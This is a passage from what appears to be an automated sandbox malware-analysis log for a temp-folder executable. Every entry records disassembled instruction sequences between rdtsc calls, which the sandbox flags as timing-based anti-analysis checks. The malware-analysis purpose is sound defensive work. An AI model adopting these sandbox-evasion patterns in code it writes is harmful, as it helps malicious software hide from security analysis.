Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 963C28 second address: 963C32 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 968B8D second address: 968B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FEE851EFD86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 968B99 second address: 968B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 968B9D second address: 968BBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FEE851EFD86h 0x00000011 jc 00007FEE851EFD86h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96CDEA second address: 96CDF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96CDF0 second address: 96CDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96CDF4 second address: 96CE21 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 js 00007FEE84E88FC6h 0x0000000d pop edx 0x0000000e push ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007FEE84E88FD6h 0x00000016 pop ecx 0x00000017 popad 0x00000018 pushad 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96CE21 second address: 96CE34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 ja 00007FEE851EFD88h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96CE34 second address: 96CE3E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEE84E88FC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C0F1 second address: 96C0F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C0F5 second address: 96C0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C0FB second address: 96C107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FEE851EFD86h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C107 second address: 96C10B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C423 second address: 96C427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C427 second address: 96C42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C42D second address: 96C437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FEE851EFD86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C58E second address: 96C5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE84E88FD1h 0x00000009 jp 00007FEE84E88FCCh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C5AF second address: 96C5B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C5B5 second address: 96C5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C6FB second address: 96C715 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEE851EFD86h 0x00000008 je 00007FEE851EFD86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FEE851EFD86h 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96C9E7 second address: 96C9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FEE84E88FC6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8B57A4 second address: 8B57B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FEE851EFD86h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 974A49 second address: 974A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 974A4D second address: 974A64 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEE851EFD8Ch 0x0000000b push edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 974D2C second address: 974D32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 974D32 second address: 974D5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEE851EFD92h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9753FC second address: 975417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE84E88FD5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 975417 second address: 97541C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 97541C second address: 975421 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 975421 second address: 97543D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FEE851EFDACh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEE851EFD8Bh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9756C9 second address: 9756DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FEE84E88FCCh 0x0000000b jno 00007FEE84E88FC6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9756DA second address: 9756E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 975DBE second address: 975DC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 975DC2 second address: 975DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FEE851EFD92h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 975DDA second address: 975DFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEE84E88FCCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 975DFA second address: 975DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9764C6 second address: 9764CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9764CA second address: 9764D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 97C297 second address: 97C29F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 97C29F second address: 97C2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 988A3B second address: 988A46 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 98BF3A second address: 98BF5B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEE851EFD86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FEE851EFD90h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 98BF5B second address: 98BF65 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 98BF65 second address: 98BF6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 98BF6B second address: 98BF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 98BC61 second address: 98BC82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FEE851EFD8Ch 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 98BC82 second address: 98BCA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE84E88FCFh 0x00000009 push esi 0x0000000a pop esi 0x0000000b jc 00007FEE84E88FC6h 0x00000011 popad 0x00000012 popad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 98BCA4 second address: 98BCA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 999E21 second address: 999E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FEE84E88FCFh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 99EE40 second address: 99EE65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 jnc 00007FEE851EFD94h 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007FEE851EFD86h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A4FA4 second address: 9A4FA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A524D second address: 9A5263 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007FEE851EFD86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jo 00007FEE851EFD86h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A53A9 second address: 9A53AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A53AD second address: 9A53B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A5519 second address: 9A551D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A551D second address: 9A552C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A56AD second address: 9A56BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007FEE84E88FE9h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A950F second address: 9A9517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A91B9 second address: 9A91ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE84E88FD9h 0x00000009 jc 00007FEE84E88FC6h 0x0000000f popad 0x00000010 push esi 0x00000011 jmp 00007FEE84E88FCEh 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A91ED second address: 9A9209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE851EFD98h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9A9209 second address: 9A920D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9C9B77 second address: 9C9BB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FEE851EFD99h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007FEE851EFD8Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9CC02D second address: 9CC031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9CC031 second address: 9CC03B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEE851EFD86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9CC03B second address: 9CC040 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9CC040 second address: 9CC049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9CC049 second address: 9CC04F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9CC04F second address: 9CC061 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEE851EFD86h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E3445 second address: 9E3451 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEE84E88FC6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E3451 second address: 9E3457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E3457 second address: 9E345D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E345D second address: 9E3461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E3461 second address: 9E347B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEE84E88FC6h 0x00000008 jng 00007FEE84E88FC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FEE84E88FC6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E347B second address: 9E347F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E3CDC second address: 9E3CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEE84E88FC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E3CE7 second address: 9E3CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E3CED second address: 9E3CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E3CF3 second address: 9E3CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E3CF7 second address: 9E3D0B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FEE84E88FC6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E4191 second address: 9E4199 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E4199 second address: 9E41B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE84E88FD4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E5E23 second address: 9E5E2D instructions: 0x00000000 rdtsc 0x00000002 je 00007FEE851EFD8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9E7589 second address: 9E758D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8B3D4A second address: 8B3D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9EA173 second address: 9EA17D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FEE84E88FC6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9EB843 second address: 9EB84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9EF1F8 second address: 9EF1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0008 second address: 52E000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E000C second address: 52E0010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0010 second address: 52E0016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0016 second address: 52E001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E001C second address: 52E0020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0020 second address: 52E00A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d jmp 00007FEE84E88FCEh 0x00000012 movzx ecx, dx 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FEE84E88FCCh 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e call 00007FEE84E88FCEh 0x00000023 pushfd 0x00000024 jmp 00007FEE84E88FD2h 0x00000029 and esi, 0BFDA2F8h 0x0000002f jmp 00007FEE84E88FCBh 0x00000034 popfd 0x00000035 pop ecx 0x00000036 mov al, bh 0x00000038 popad 0x00000039 mov ebp, esp 0x0000003b jmp 00007FEE84E88FD0h 0x00000040 pop ebp 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E00A7 second address: 52E00AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E00AB second address: 52E00AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
